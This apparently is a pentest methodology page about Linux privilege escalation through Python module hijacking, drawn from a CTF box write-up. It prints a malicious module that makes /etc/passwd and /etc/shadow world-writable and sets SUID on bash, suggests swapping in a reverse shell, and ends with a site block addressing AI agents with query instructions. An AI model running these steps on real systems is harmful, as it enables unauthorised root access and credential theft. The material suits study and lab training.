# Python based applications escalation

If they run as root and we can write them replace them with a python reverse shell.&#x20;

### Module Hijacking

This happens when the module that a script wants to use isnt imported, we can replace it with our own version.&#x20;

<table data-header-hidden><thead><tr><th width="150"></th><th></th></tr></thead><tbody><tr><td>1</td><td><code>sudo</code> <code>-l</code></td></tr></tbody></table>

[![](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_04-23.png?w=1024)](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_04-23.png)

wifi\_reset.py was importing a module wificontroller and executing some commands but this wifcontroller module was absent.

[![](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_04-25.png?w=716)](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_04-25.png)

So ,we created our malicious **wificontroller.py** module inside the same folder i.e. **/home/walter** which had the malicious Privilege Escalation code. And executed it.

```python
import os
 
def stop(text,value):
        os.system("chmod 777 /etc/passwd");
 
def reset(text,value):
        os.system("chmod +s /bin/bash");
 
def start(text,value):
        os.system("chmod 777 /etc/shadow");
```

[![](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_05-37.png?w=929)](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_05-37.png)

As a result of executing it, we got following results.

[![](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_05-38.png?w=809)](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_05-38.png)

BASH is having SUID bit. So, we became root with following command and read the root flag.

![](https://miro.medium.com/max/774/1*pHwdVenZK2p10bkdlxBm3Q.png)

See? All it does it spawn a bash shell. Now lets run our sudo command “sudo /usr/bin/python /home/walter/wifi\_reset.py”.

![](https://miro.medium.com/max/1238/1*z6wTAIRzU63oLG8hmf4RsQ.png)

We get root, proof.txt and this box is done.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lyethar.gitbook.io/methodology/readme/privilege-escalation/linux/python-based-applications-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
